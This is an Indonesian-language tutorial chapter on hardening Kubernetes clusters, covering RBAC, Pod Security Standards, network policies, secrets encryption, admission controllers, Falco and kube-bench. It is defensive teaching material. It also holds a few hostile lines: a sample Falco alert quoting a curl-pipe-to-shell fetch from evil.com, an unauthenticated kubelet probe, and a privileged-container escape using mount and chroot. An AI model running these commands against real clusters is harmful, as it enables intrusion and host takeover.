9.4.2 Kubernetes Security
Kubernetes Security (K8s Security) mencakup perlindungan seluruh komponen cluster Kubernetes - dari API server, etcd, kubelet, hingga workload yang berjalan di dalam Pod. K8s adalah platform orkestrasi container paling populer, tetapi kompleksitasnya membuka banyak permukaan serangan.
RBAC (Role-Based Access Control)
RBAC adalah mekanisme kontrol akses utama di Kubernetes. Setiap entitas (user, service account, group) memerlukan izin eksplisit untuk berinteraksi dengan API server.
Roles vs ClusterRoles
| Aspek | Role | ClusterRole |
|---|---|---|
| Scope | Namespace-spesifik | Cluster-wide (semua namespace atau resource non-namespace) |
| Contoh resource | Pod, Service, Deployment dalam satu namespace | Node, PersistentVolume, ClusterRole, Namespace |
Contoh Role - Read-only di Namespace production
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: production
name: pod-reader
rules:
- apiGroups: [""] # core API group
resources: ["pods", "pods/log"]
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
namespace: production
name: read-pods-binding
subjects:
- kind: User
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: pod-reader
apiGroup: rbac.authorization.k8s.io
ClusterRole - Admin view seluruh cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: cluster-viewer
rules:
- apiGroups: [""]
resources: ["nodes", "namespaces", "persistentvolumes"]
verbs: ["get", "list", "watch"]
- apiGroups: ["apps"]
resources: ["deployments", "statefulsets", "daemonsets"]
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: cluster-viewer-binding
subjects:
- kind: User
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: ClusterRole
name: cluster-viewer
apiGroup: rbac.authorization.k8s.io
Prinsip least privilege: Jangan pernah memberikan
cluster-admin ke user biasa. Gunakan role yang spesifik
dengan verb get, list, watch daripada *.
Pod Security Standards (PSS)
Pod Security Standards mendefinisikan tiga level keamanan untuk Pod:
| Level | Deskripsi | Contoh Restriksi |
|---|---|---|
| Privileged | Tanpa restriksi - untuk system Pods (kube-proxy, CNI) | Boleh privileged, hostNetwork, hostPath |
| Baseline | Minimal security - mencegah eskalasi privilege umum | Tidak boleh privileged, hostPID, hostNetwork |
| Restricted | Keamanan maksimal - mengikuti praktik hardened | Read-only rootfs, non-root user, drop all capabilities |
Implementasi dengan Pod Security Admission
# Namespace dengan enforced restricted policy
apiVersion: v1
kind: Namespace
metadata:
name: production-app
labels:
pod-security.kubernetes.io/enforce: restricted
pod-security.kubernetes.io/enforce-version: latest
pod-security.kubernetes.io/audit: restricted
# Pod yang memenuhi restricted standard
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
namespace: production-app
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 3000
fsGroup: 2000
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: myapp:1.0.0
securityContext:
allowPrivilegeEscalation: false
capabilities:
drop: ["ALL"]
readOnlyRootFilesystem: true
Catatan: Pod yang melanggar policy
enforce: restricted akan ditolak di API server.
Network Policies
Network Policy mengontrol lalu lintas network antar Pod. Secara default, semua Pod bisa berkomunikasi satu sama lain (flat network). Network Policy membatasi ini.
Calico - Network Policy Engine
# Policy: deny all ingress, allow only dari frontend
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: backend-allow-frontend
namespace: production
spec:
podSelector:
matchLabels:
app: backend
policyTypes:
- Ingress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 3000
Cilium - Network Policy dengan L7 Filtering
Cilium memungkinkan filtering sampai level HTTP method dan path:
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: api-gateway-policy
namespace: production
spec:
endpointSelector:
matchLabels:
app: api-gateway
ingress:
- fromEndpoints:
- matchLabels:
app: frontend
toPorts:
- ports:
- port: "8080"
protocol: TCP
rules:
http:
- method: "GET"
path: "/api/v1/public/*"
- method: "POST"
path: "/api/v1/orders"
Secrets Management di Kubernetes
Kubernetes Secrets menyimpan data sensitif, namun secara default hanya di-encode dalam base64, bukan di-enkripsi:
# ❌ BURUK - base64 saja, bukan enkripsi
echo -n "admin" | base64
# Output: YWRtaW4=
Enkripsi Secrets di etcd
# encryption-config.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
providers:
- aescbc:
keys:
- name: key1
secret: c2VjcmV0LWZvci1haWVzY2ItZW5jcnlwdGlvbg==
- identity: {}
# Terapkan konfigurasi enkripsi
# Pada kube-apiserver argument:
--encryption-provider-config=/etc/kubernetes/encryption-config.yaml
External Secrets Operator (ESO)
ESO menyinkronkan secret dari cloud ke Kubernetes Secret secara aman:
apiVersion: external-secrets.io/v1beta1
kind: SecretStore
metadata:
name: vault-backend
spec:
provider:
vault:
server: "https://vault.example.com"
path: "secret"
version: "v2"
auth:
kubernetes:
mountPath: "kubernetes"
role: "app-role"
---
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
name: db-secret
spec:
refreshInterval: "1h"
secretStoreRef:
name: vault-backend
kind: SecretStore
target:
name: db-credentials
template:
type: Opaque
data:
DB_PASSWORD: "{{ .password }}"
data:
- secretKey: password
remoteRef:
key: secret/data/database/prod
property: password
Service Account Hardening
Setiap Pod diberi Service Account (SA) secara default. Hardening SA sangat penting:
# ❌ BURUK - default service account dengan akses API
apiVersion: v1
kind: Pod
metadata:
name: insecure-pod
spec:
containers:
- name: app
image: nginx
# ✅ BAIK - dedicated service account tanpa akses
apiVersion: v1
kind: ServiceAccount
metadata:
name: app-sa
namespace: production
automountServiceAccountToken: false
---
apiVersion: v1
kind: Pod
metadata:
name: secure-pod
namespace: production
spec:
serviceAccountName: app-sa
automountServiceAccountToken: false
containers:
- name: app
image: nginx
Best practices Service Account:
- Buat SA spesifik per aplikasi (jangan pakai
default) - Nonaktifkan automount token jika Pod tidak perlu akses
API:
automountServiceAccountToken: false - Gunakan RBAC minimal: hanya permission yang benar-benar diperlukan
- Rotasi token SA secara berkala
PodDisruptionBudget
PodDisruptionBudget (PDB) memastikan ketersediaan aplikasi selama operasi cluster (node drain, upgrade):
apiVersion: policy/v1
kind: PodDisruptionBudget
metadata:
name: app-pdb
namespace: production
spec:
minAvailable: 2 # minimal 2 Pod harus tersedia
# atau
# maxUnavailable: 1 # maksimal 1 Pod boleh tidak tersedia
selector:
matchLabels:
app: backend
PDB melindungi dari voluntary disruptions, bukan dari kegagalan node.
Resource Quotas & LimitRange
ResourceQuota - Batas Total Namespace
apiVersion: v1
kind: ResourceQuota
metadata:
name: dev-quota
namespace: development
spec:
hard:
requests.cpu: "4"
requests.memory: 8Gi
limits.cpu: "8"
limits.memory: 16Gi
pods: "20"
services: "10"
persistentvolumeclaims: "5"
LimitRange - Batas Per Pod
apiVersion: v1
kind: LimitRange
metadata:
name: container-limits
namespace: production
spec:
limits:
- max:
cpu: "2"
memory: 2Gi
min:
cpu: "100m"
memory: 128Mi
default:
cpu: "500m"
memory: 512Mi
defaultRequest:
cpu: "200m"
memory: 256Mi
type: Container
Kombinasi ResourceQuota + LimitRange mencegah resource starvation dan meningkatkan prediktabilitas.
Admission Controllers
Admission Controllers memvalidasi dan memodifikasi request ke API server sebelum resource dibuat.
OPA/Gatekeeper
OPA Gatekeeper menggunakan Rego policy language untuk mendefinisikan kebijakan:
# Template: Semua container harus memiliki resource limits
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
name: k8srequiredresources
spec:
crd:
spec:
names:
kind: K8sRequiredResources
targets:
- target: admission.k8s.gatekeeper.sh
rego: |
package k8srequiredresources
violation[{"msg": msg}] {
container := input.review.object.spec.containers[_]
not container.resources.limits
msg := sprintf("Container %v must have resource limits", [container.name])
}
---
# Constraint: Terapkan ke namespace production
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sRequiredResources
metadata:
name: prod-require-limits
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
namespaces: ["production"]
Kyverno
Kyverno menggunakan YAML (bukan Rego) - lebih mudah dipahami:
# Policy: Semua image harus dari registry yang diizinkan
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-image-registries
spec:
validationFailureAction: Enforce
rules:
- name: validate-registry
match:
any:
- resources:
kinds:
- Pod
validate:
message: "Hanya image dari registry internal yang diizinkan"
pattern:
spec:
containers:
- image: "harbor.internal.company.com/*"
Lebih banyak contoh Kyverno:
# Auto-add read-only root filesystem
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: add-readonly-rootfs
spec:
validationFailureAction: Audit
rules:
- name: auto-add-readonly
match:
any:
- resources:
kinds:
- Pod
mutate:
patchStrategicMerge:
spec:
containers:
- (name): "*"
securityContext:
readOnlyRootFilesystem: true
Runtime Security: Falco & KubeArmor
Falco - Behavioral Activity Monitoring
Falco mendeteksi anomali runtime menggunakan aturan berbasis syscall:
# Install Falco di cluster
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--set falco.driver.kind=modern_ebpf \
--namespace falco --create-namespace
Aturan Falco - deteksi shell di dalam container:
- rule: Terminal Shell in Container
desc: A shell was spawned in a container
condition: >
spawned_process and container and
shell_procs and
not proc.name in (falco_sensitive_mount_images)
and not user_expected_terminal_shell_in_container_containers
output: >
Shell spawned in container (user=%user.name container_id=%container.id
image=%container.image.repository proc=%proc.name cmdline=%proc.cmdline)
priority: WARNING
tags: [container, process, mitre_execution]
# Contoh deteksi: proses `curl` mencurigakan
falco event: 2024-07-22T10:30:15Z Warning Shell spawned in container (user=root container_id=abc123 image=nginx proc=bash cmdline=bash -c "curl http://evil.com/exfil.sh | sh")
KubeArmor - Zero-Touch Security
KubeArmor menggunakan Linux Security Modules (AppArmor, BPF-LSM) untuk enforcement:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: block-write-etc
namespace: production
spec:
severity: 5
message: "Block write access to /etc"
selector:
matchLabels:
app: backend
file:
matchPaths:
- path: /etc/
readOnly: true
action:
Block
CIS Benchmark Kubernetes
CIS Benchmark untuk Kubernetes memiliki 5+ kategori utama dengan ratusan kontrol:
# kube-bench - audit compliance
curl -L https://github.com/aquasecurity/kube-bench/releases/download/v0.7.3/kube-bench_0.7.3_linux_amd64.tar.gz | tar xz
sudo ./kube-bench --config-dir cfg --config cfg/config.yaml
# Output sample
[PASS] 1.1.1 Ensure that the API server pod specification file permissions are set to 600 or more restrictive (Automated)
[PASS] 1.1.2 Ensure that the API server pod specification file ownership is set to root:root (Automated)
[WARN] 1.2.1 Ensure that the --anonymous-auth argument is set to false (Automated)
[FAIL] 1.2.2 Ensure that the --token-auth-file parameter is not set (Automated)
Kategori CIS Benchmark:
| Kategori | Komponen |
|---|---|
| 1. Control Plane | API server, Controller Manager, Scheduler, etcd |
| 2. Control Plane Configuration | Authentication, Authorization, Admission Control |
| 3. Worker Node | Kubelet, kube-proxy |
| 4. Policies | RBAC, Pod Security, Secrets |
| 5. Managed Services | Jika menggunakan managed K8s (EKS, AKS, GKE) |
Attack Surface Kubernetes
1. API Server - Gerbang Utama
API server adalah entry point semua operasi. Serangan umum:
- Anonymous access - API server menerima request tanpa autentikasi
- Exposed dashboard - Dashboard K8s tanpa RBAC
- kubeconfig leak - File kubeconfig dengan admin credentials terekspos
Mitigasi:
# --anonymous-auth=false di kube-apiserver
# --enable-admission-plugins=NodeRestriction,PodSecurity
# --authorization-mode=Node,RBAC
2. etcd - Penyimpan Semua Data Cluster
etcd menyimpan semua data cluster termasuk Secrets. Jika etcd diretas, seluruh cluster bisa dikuasai.
Mitigasi:
# Enkripsi data etcd
# --encryption-provider-config=/etc/kubernetes/encryption-config.yaml
# TLS mutual authentication untuk etcd
# --peer-client-cert-auth=true --peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
# Firewall: etcd port hanya dari API server (port 2379)
3. Kubelet - Node Agent
Kubelet berjalan di setiap node dan bisa mengekspos API yang berbahaya jika tidak diamankan:
# Cek kubelet yang tidak aman (port 10250 tanpa auth)
curl -k https://node-ip:10250/runningpods/
# Kubelet API yang aman
# --anonymous-auth=false
# --authentication-token-webhook=true
# --authorization-mode=Webhook
# --read-only-port=0 (nonaktifkan port read-only)
4. Container Escape via Privileged Container
# ❌ BURUK - privileged container bisa akses host
kubectl run attacker --image=ubuntu --privileged
# Dari container: mount /dev/sda1 /mnt && chroot /mnt
# ✅ BAIK - Pod Security Standards enforcement
# Gunakan PSS restricted atau baseline
Verifikasi
# Cek RBAC binding
kubectl get rolebindings,clusterrolebindings --all-namespaces
# Audit dengan kube-bench
kube-bench
# Cek Network Policy yang ada
kubectl get networkpolicies --all-namespaces
# Cek secrets terenkripsi
kubectl get secrets --all-namespaces | wc -l
# Cek Pod Security Standards
kubectl describe ns production | grep pod-security
# Cek Falco alerts
kubectl logs -n falco -l app.kubernetes.io/name=falco --tail=20